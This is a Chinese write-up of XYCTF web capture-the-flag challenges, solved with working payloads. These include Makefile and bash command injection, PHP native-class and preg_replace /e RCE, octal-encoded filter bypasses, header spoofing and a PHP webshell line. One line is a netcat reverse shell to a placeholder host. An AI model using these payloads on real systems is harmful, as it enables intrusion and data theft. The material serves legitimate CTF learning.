ezMake

扫了一下目录发现有flag文件,下载下来就是flag,不过好像这不是预期解

image-20250402151235637

传入一个1之后有回显

image-20250402151459724

分析一下内容

这里PATH变量被设置为空,这段 Makefile 的逻辑检查了 PATH 是否未定义,如果未定义则设为空,如果已定义也重设为空。因为**make 命令本身也依赖 PATH 查找**,当PATH被设置为空之后,

image-20250402152913741

但是测试之后发现Bash内置命令是可以执行的

  • 内置命令列表
命令 说明
: 扩展参数列表,执行重定向操作
. 读取并执行指定文件中的命令(在当前 shell 环境中)
alias 为指定命令定义一个别名
bg 将作业以后台模式运行
bind 将键盘序列绑定到一个 readline 函数或宏
break 退出 for、while、select 或 until 循环
builtin 执行指定的 shell 内建命令
caller 返回活动子函数调用的上下文
cd 将当前目录切换为指定的目录
command 执行指定的命令,无需进行通常的 shell 查找
compgen 为指定单词生成可能的补全匹配
complete 显示指定的单词是如何补全的
compopt 修改指定单词的补全选项
continue 继续执行 for、while、select 或 until 循环的下一次迭代
declare 声明一个变量或变量类型。
dirs 显示当前存储目录的列表
disown 从进程作业表中刪除指定的作业
echo 将指定字符串输出到 STDOUT
enable 启用或禁用指定的内建shell命令
eval 将指定的参数拼接成一个命令,然后执行该命令
exec 用指定命令替换 shell 进程
exit 强制 shell 以指定的退出状态码退出
export 设置子 shell 进程可用的变量
fc 从历史记录中选择命令列表
fg 将作业以前台模式运行
getopts 分析指定的位置参数
hash 查找并记住指定命令的全路径名
help 显示帮助文件
history 显示命令历史记录
jobs 列出活动作业
kill 向指定的进程 ID(PID) 发送一个系统信号
let 计算一个数学表达式中的每个参数
local 在函数中创建一个作用域受限的变量
logout 退出登录 shell
mapfile 从 STDIN 读取数据行,并将其加入索引数组
popd 从目录栈中删除记录
printf 使用格式化字符串显示文本
pushd 向目录栈添加一个目录
pwd 显示当前工作目录的路径名
read 从 STDIN 读取一行数据并将其赋给一个变量
readarray 从 STDIN 读取数据行并将其放入索引数组
readonly 从 STDIN 读取一行数据并将其赋给一个不可修改的变量
return 强制函数以某个值退出,这个值可以被调用脚本提取
set 设置并显示环境变量的值和 shell 属性
shift 将位置参数依次向下降一个位置
shopt 打开/关闭控制 shell 可选行为的变量值
source 读取并执行指定文件中的命令(在当前 shell 环境中)
suspend 暂停 Shell 的执行,直到收到一个 SIGCONT 信号
test 基于指定条件返回退出状态码 0 或 1
times 显示累计的用户和系统时间
trap 如果收到了指定的系统信号,执行指定的命令
type 显示指定的单词如果作为命令将会如何被解释
typeset 声明一个变量或变量类型。
ulimit 为系统用户设置指定的资源的上限
umask 为新建的文件和目录设置默认权限
unalias 刪除指定的别名
unset 刪除指定的环境变量或 shell 属性
wait 等待指定的进程完成,并返回退出状态码
1
2
3
4
5
ubuntu@VM-16-12-ubuntu:/$ PATH=
ubuntu@VM-16-12-ubuntu:/$ echo "1"
1
ubuntu@VM-16-12-ubuntu:/$ pwd
/

尝试用echo写木马但是遇到waf了

1
echo "<?php eval($_POST['cmd']); ?>" > 1.php

用base64和hex绕过也不行

1
echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > 1.php

试一下用Bash里的.去执行flag文件就行

1
. flag

image-20250402154804684

当然还有其他的命令

1
echo $(shell cat flag)

解释一下payload

$(...) 命令替换,先执行 ... 里的命令,返回其输出(STDOUT)
shell cat flag 尝试执行 shell 命令,并传 cat flag 作为参数
echo ... 打印命令替换后的结果

ez?Make

一样的页面,但是扫目录里是看不到flag了,有个Makefile路径,把Makefile文件下下来看看

1
2
3
4
SHELL := /bin/bash
.PHONY: FLAG
FLAG: /flag
1

这里指定了在执行shell命令时使用/bin/bash而不是默认的/bin/sh,这里和上面的题目不一样,这里不仅限于bash内置命令

但是这里禁用了很多命令,测试后发现cd是可以用的

image-20250402184608575

image-20250402184557046

因为已知flag在根目录,所以尝试直接读取flag,但是这里很多读取文件的命令都被禁用了,不过more可以用,然后就是绕过flag的关键字过滤了,也过滤了*?看看用[]去匹配,一开始是用[a-z]的,但是发现被过滤了,不过好在用[0-z]能匹配出来

1
cd .. && cd .. && cd ..&&more [0-z][0-z][0-z][0-z]

image-20250402185222669

或者也可以cd到bin目录下执行bash命令

1
2
cd .. && cd .. && cd ..&& cd bin && echo "bHM=" | b[0-z]se64 -d | b[0-z]sh
执行ls命令

image-20250402185609304

然后我们cat /flag就可以了

1
cd .. && cd .. && cd ..&& cd bin && echo "Y2F0IC9mbGFn" | b[0-z]se64 -d | b[0-z]sh

ezhttp

一个登录页面,有账号有密码登录框

扫i目录扫出很多东西

1
2
3
4
5
6
7
[19:01:03] Scanning:
[19:01:34] 200 - 0B - /flag.php
[19:01:36] 200 - 1KB - /index.php
[19:01:37] 200 - 1KB - /index.php/login/
[19:01:48] 200 - 35B - /robots.txt
[19:01:49] 403 - 279B - /server-status/
[19:01:49] 403 - 279B - /server-status

访问/robots.txt有一个/l0g1n.txt

1
2
username: XYCTF
password: @JOILha!wuigqi123$

拿到账密了,登录有显示

1
2
登录成功!
不是 yuanshen.com 来的我不要

伪造请求头,抓包处理吧,这里直接放修改的地方了

1
2
3
4
5
Referer: yuanshen.com // 从yuanshen.com来的
User-Agent: XYCTF //用XYCTF浏览器
Client-IP: 127.0.0.1 // 本地用户伪造,不用xff(X-Forward-For)
Via: ymzx.qq.com //从ymzx.qq.com代理
Cookie: XYCTF //想吃点XYCTF的小饼干

image-20250402191734884

ezClass

1
2
3
4
5
6
7
8
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
( (new $a($aa) )->$c() )( (new $b($bb) )->$c() );

((new $a($aa))->$c())((new $b($bb))->$c());:动态创建两个对象,并调用它们的方法,然后将第二个对象方法的返回值作为参数传递给第一个对象方法。第一个的返回值需要是一个函数,而第二个的返回值是作为参数传递给第一个返回的函数。

这里第一个想到的是利用原生类中的方法去写马

#Error内置类实现RCE

可以用Error内置类去打,其中Error::getMessage方法可以返回Error类实例化时接受的字符串

1
2
3
4
5
6
7
8
9
10
<?php
$a = new Error("wanth3f1ag");
echo $a->getMessage();

echo "\n";

$b = ((new Error("123456"))->getMessage());
echo $b;
//wanth3f1ag
//123456

所以基本思路就是创建两个error类分别给system和cat /flag两个参数,再用getMessage方法把输进去的参数当作字符串返回

image-20250402194903136

1
2
3
4
5
GET:?a=Error&aa=system&c=getMessage&b=Error&bb=ls /
等价于
((new Error('system'))->getMessage())((new $Error('ls /'))->getMessage());
等价于
system('ls /')

image-20250402194428990

#SplFileObject内置类+data伪协议

也用SplFileObject内置类去打,我们先看看SplFileObjectp类中有什么内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

由于这里$c是调用的方法,在最后一行中两边是一致的,但是跟Error中一样的,这里也有一个__toString方法

1
SplFileObject::__toString —以字符串形式返回当前行

在本地测试一下

1
2
3
4
5
6
7
8
9
root@VM-16-12-ubuntu:/var/www/html# cat test.php 
<?php phpinfo(); ?>
root@VM-16-12-ubuntu:/var/www/html# vim 1.php
root@VM-16-12-ubuntu:/var/www/html# cat 1.php
<?php
$a = new SplFileObject("test.php");
echo $a->__toString();
root@VM-16-12-ubuntu:/var/www/html# php 1.php
<?php phpinfo(); ?>

但是这里因为是两个部分的调用返回值进行配合,并且当前目录下的内容是不可知的,所以不能直接读取flag文件,也是需要写命令执行语句

这里需要配合data伪协议去输出,data伪协议可以动态生成文件而无需真实文件。通过data伪协议去包装数据,使得我们可以输出 data:// 包装的数据

1
2
3
4
<?php
$a = new SplFileObject("data://text/plain,system");
echo $a->__toString();
//system

所以我们最终的payload就是

1
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

ezRCE

#无字母RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
function waf($cmd){
$white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<'];
$cmd_char = str_split($cmd);
foreach($cmd_char as $char){
if (!in_array($char, $white_list)){
die("really ez?");
}
}
return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);
really ez?

这里需要我们传入的cmd符合白名单中的字符,否则就会执行die语句

无字母RCE

bashfuck的用法,需要配合$0环境变量去使用

  • \$0Shell 环境中的一个特殊变量,代表 当前 Shell 或脚本的名称
1
2
root@VM-16-12-ubuntu:/var/www/html# echo $0
bash
  • <<<Here String(输入字符串作为标准输入)
1
2
root@VM-16-12-ubuntu:/var/www/html# $0<<<'id'
uid=0(root) gid=0(root) groups=0(root)

这里可以看到id命令成功被执行

因为这里有白名单过滤,所以我们需要用数字编码去转换我们的命令

payload

1
2
3
4
?cmd=$0<<<$%27\154\163\040\057%27
等价于
echo 'ls /' | /bin/bash
\154\163\040\057是ls /的八进制

推荐文章:https://www.freebuf.com/articles/system/361101.html

warm up

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
include 'next.php';
highlight_file(__FILE__);
$XYCTF = "Warm up";
extract($_GET);

if (isset($_GET['val1']) && isset($_GET['val2']) && $_GET['val1'] != $_GET['val2'] && md5($_GET['val1']) == md5($_GET['val2'])) {
echo "ez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if (isset($md5) && $md5 == md5($md5)) {
echo "ezez" . "<br>";
} else {
die("什么情况,这么基础的md5做不来");
}

if ($XY == $XYCTF) {
if ($XY != "XYCTF_550102591" && md5($XY) == md5("XYCTF_550102591")) {
echo $level2;
} else {
die("什么情况,这么基础的md5做不来");
}
} else {
die("学这么久,传参不会传?");
}

什么情况,这么基础的md5做不来

用extract($_GET);代码可以实现变量覆盖,直接GET传入变量的值就行

先看第一层,就是简单的md5弱比较,用数组绕过或者强碰撞都行

1
?val1[]=1&val2[]=2

再看第二层,需要变量在md5后的值弱等于初始值,也就是需要找个以0e开头的并且该值md5加密后也是0e开头

1
?val1[]=1&val2[]=2&md5=0e215962017

然后看第三层,需要$XY和$XYCTF的值符合弱相等,然后就是里面的md5比较,先算一下XYCTF_550102591在md5加密后的值

1
2
3
4
<?php
$a = "XYCTF_550102591";
echo md5($a);
//0e937920457786991080577371025051

0e开头的,那还是强碰撞,但是想到这里能进行变量覆盖,那我们可以对$XYCTF的值进行修改,所以随便传入一个强碰撞相等的值就行

1
?val1[]=1&val2[]=2&md5=0e215962017&XY=QLTHNDT&XYCTF=QLTHNDT

image-20250403140259430

访问一下

1
2
3
4
5
6
7
8
9
10
<?php
highlight_file(__FILE__);
if (isset($_POST['a']) && !preg_match('/[0-9]/', $_POST['a']) && intval($_POST['a'])) {
echo "操作你O.o";
echo preg_replace($_GET['a'],$_GET['b'],$_GET['c']); // 我可不会像别人一样设置10来个level
} else {
die("有点汗流浃背");
}

有点汗流浃背

这里先需要满足第一层才能进行操作,既要a为数字也要a不包含数字,preg_match() 只能处理字符串,遇到数组时会返回 false,!false就是true,满足条件

1
a[]=2

第二层就是关于preg_replace在/e模式下的rce了,这里三个参数都可控,就简单的多

1
?a=/a/e&c=a&b=system('ls /')

image-20250403162908127

ezmd5

需要上传两个图片,根据题目说的md5,估计是需要上传两个不一样的图片但是md5一样的

直接用md5碰撞生成工具(fastcoll)生成就行,也可以直接去网上找现成的图片

船舶图像

平面图像

这两张图片具有相同的 md5 哈希值:253dd04e87492e4fc3471de5e776bc3d

image-20250403164408218

牢牢记住,逝者为大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function Kobe($cmd)
{
if (strlen($cmd) > 13) {
die("see you again~");
}
if (preg_match("/echo|exec|eval|system|fputs|\.|\/|\\|/i", $cmd)) {
die("肘死你");
}
foreach ($_GET as $val_name => $val_val) {
if (preg_match("/bin|mv|cp|ls|\||f|a|l|\?|\*|\>/i", $val_val)) {
return "what can i say";
}
}
return $cmd;
}

$cmd = Kobe($_GET['cmd']);
echo "#man," . $cmd . ",manba out";
echo "<br>";
eval("#man," . $cmd . ",mamba out");

#man,,manba out

这里限制了很多

  • cmd的字符不能超过13个
  • 过滤了很多命令函数和操作符

另外在eval函数中有#man注释,我们需要避开这个坑,避免我们传入的代码被注释掉,然后在后面还有多余的数据

首先先试着能让我们的eval能执行

过注释符#

1
2
3
4
<?php
$a = "\n echo '1';#";
eval("#". $a ."2323");
//1

用换行符可以逃逸注释,但是这里过滤了\

根据URL编码规则,我们用%0a去代替\n,本地测试一下

1
2
3
4
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
eval("#". $a ."2323");

传入a

1
?a=%0a echo '1';%23

注意# 是 URL 的锚点标识符,这里需要对#进行编码成%23,否则会被认为是URL本身的分隔符,

根据**\n\r 在 HTTP 请求中的特殊作用**,如果 \n 不经编码直接传入 ?a=\n123,服务器或浏览器可能会错误地认为 \nHTTP 请求结束符,导致参数被截断。所以我们的\n也是需要编码成URL编码才能起作用的

编码之后PHP后对参数a进行解码

1
?a=\n echo '1';#

image-20250403171617983

绕过这两个的问题解决了,接下来就是如何绕过过滤进行rce了

如果上面两个是必须的,那么此时我们已经消耗掉了三个字符(注意,这里不是七个字符,因为后端PHP会进行解码,所以最后是三个字符),那么只能传入最多10个字符

这么多函数禁用了,这时候可以用反引号内联执行,在反引号中可以放入系统命令,可以用带参数输入的方式

1
`$_GET[1]`

刚好10个字符,然后可以传入1,但是这里对get的参数都有过滤,还不能换成post,限制的死死的,是要我们去绕过

不能写文件(>被过滤),不能操作文件(mv,cp被过滤),也不能看目录(ls,被过滤),还无法用通配符去匹配文件(?,*)被过滤

但是这些命令可以用单双引号去绕过,那么方法就很多了(注意这里是无回显的)

方法1:cp复制flag

1
?cmd=%0a`$_GET[1]`;%23&1=c''p /[@-z][@-z][@-z]g 1.txt

虽然不能用?*通配符,但是可以用[]去匹配单个字符,这里执行cp命令后访问1.txt就可以拿到flag了

方法2:反弹shell

无回显的RCE,直接反弹shell

1
nc [host] [port] -e /bi''n/sh

image-20250403175559834

方法3:数字编码绕过

1
2
3
?cmd=%0a`$_GET[1]`;%23&1=$'\143\160' $'\57\146\154\141\147' 1.txt
//cp /flag的8进制
然后访问1.txt就行

根据Bash 的 $'...' ANSI-C Quoting 机制$'...' 会在 Shell 解析阶段(执行命令前)把 \xxx(八进制)转换成 对应的 ASCII 字符。所有 $'\xxx' 拼接后,最终会合并为 可执行的 Shell 命令

εZ?¿м@Kε¿?

hint:Μακεϝ1LE>1s<S0<ϜxxΚ1ηG_ξ2!@<>#>%%#!$*&^(!

才发现是和前面两个题一样的makefile

1
2
3
[18:09:36] Scanning:
[18:10:33] 200 - 38B - /hint.php
[18:10:35] 200 - 2KB - /index.html

访问/hint.php

1
/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/

估计是正则匹配的表达式

先输出可用字符

1
2
3
4
5
6
7
8
9
<?php
for ($i=32;$i<127;$i++){
if (!preg_match("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/",chr($i))){
echo chr($i)." ";
}
}

?>
//! " # % & ' * + , . / 0 1 2 3 4 5 6 7 8 9 : ; = ? A B C D E F G H I J K L M N O P Q R S T U V W X Y Z \ ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z ~

一开始以为是有这么多字符可以用,后面才发现这个表达式是需要匹配的,而并非不能匹配的,也就是白名单

1
2
3
4
5
6
7
8
9
10
#输出可用字符
<?php
for ($i=32;$i<127;$i++){
if (preg_match("/^[$|\(|\)|\@|\[|\]|\{|\}|\<|\>|\-]+$/",chr($i))){
echo chr($i)." ";
}
}

?>
//$ ( ) - < > @ [ ] { | }

学习一下关于Makefile中的$@, $^, $< , $?, $%, $+, $*

参考文章:Makefile中的$@, $^, $< , $?, $%, $+, $*

1
2
3
4
5
6
7
8
9
$@  表示目标文件
$^ 表示所有的依赖文件
$< 表示第一个依赖文件
$? 表示比目标还要新的依赖文件列表
$% 仅当目标是函数库文件中,表示规则中的目标成员名。例如,如果一个目标是“foo.a(bar.o)”,那么,“$%”就是“bar.o”,“$@”就是“foo.a”。如果目标不是函数库文件(Unix下是[.a],Windows下是[.lib]),那么,其值为空。

$+ 这个变量很像“$^”,也是所有依赖目标的集合。只是它不去除重复的依赖目标。

$* 这个变量表示目标模式中“%”及其之前的部分。如果目标是“dir/a.foo.b”,并且目标的模式是“a.%.b”,那么,“$*”的值就是“dir/a.foo”。这个变量对于构造有关联的文件名是比较有较。如果目标中没有模式的定义,那么“$*”也就不能被推导出,但是,如果目标文件的后缀是make所识别的,那么“$*”就是除了后缀的那一部分。例如:如果目标是“foo.c”,因为“.c”是make所能识别的后缀名,所以,“$*”的值就是“foo”。这个特性是GNU make的,很有可能不兼容于其它版本的make,所以,你应该尽量避免使用“$*”,除非是在隐含规则或是静态模式中。如果目标中的后缀是make所不能识别的,那么“$*”就是空值。

传入$<,有回显/flag,随后我们要读取,要用 < 重定向符读取,用于从文件中读取内容

我们测试一下输入 <$< 回显了</flag

随后我们要读取到一个地方,也没有什么地方能读取,只能读取到变量里那么我们就能构造出

payload

1
$(<$<)

但是还是读取不了,回显

1
make: Nothing to be done for 'FLAG'.

这个时候我们就要用到转义符号 $ ,这是因为在 Makefile 中, $ 符号是特殊字符,需要转义才

能正常使用,所以就得到了最终的payload

1
$$(<$<)

有点神奇。。全程跟着wp做的,但还是得理解一下

从内到外去理解一下

首先需要理解的是重定向符

重定向符<

在 Shell(如 Bash)中,< 是一个 输入重定向(Input Redirection)符号,用于 将文件内容作为命令的输入

语法

1
命令 < 文件

那么<$< 回显了</flag,此时根据这个特点,我们可以把flag文件的内容当成是命令的输入,然后我们需要解决如何输出这个命令或者是读取这个命令

$(<$<)

$( <$< )读取输入并执行命令

在 Bash 中,$( command ) 的语法是 命令替换(Command Substitution),它的作用是:

  1. 执行 command 并捕获其标准输出(stdout)
  2. 将命令的输出结果替换到当前位置

例如我们本地测试一下

1
2
3
4
root@VM-16-12-ubuntu:/var/www/html# cat 1.php
123
root@VM-16-12-ubuntu:/var/www/html# $(<1.php)
123: command not found

最终payload

$$(<$<):其实和上面的一样,只不过

在 Makefile 中:

  • 单个 $ → 被 Make 解析(用于变量或自动化变量,如(CC)‘、‘(CC)‘、‘@`)。
  • $$ → 转义为 单个 $ 并传递给 Shell(避免 Make 解析)。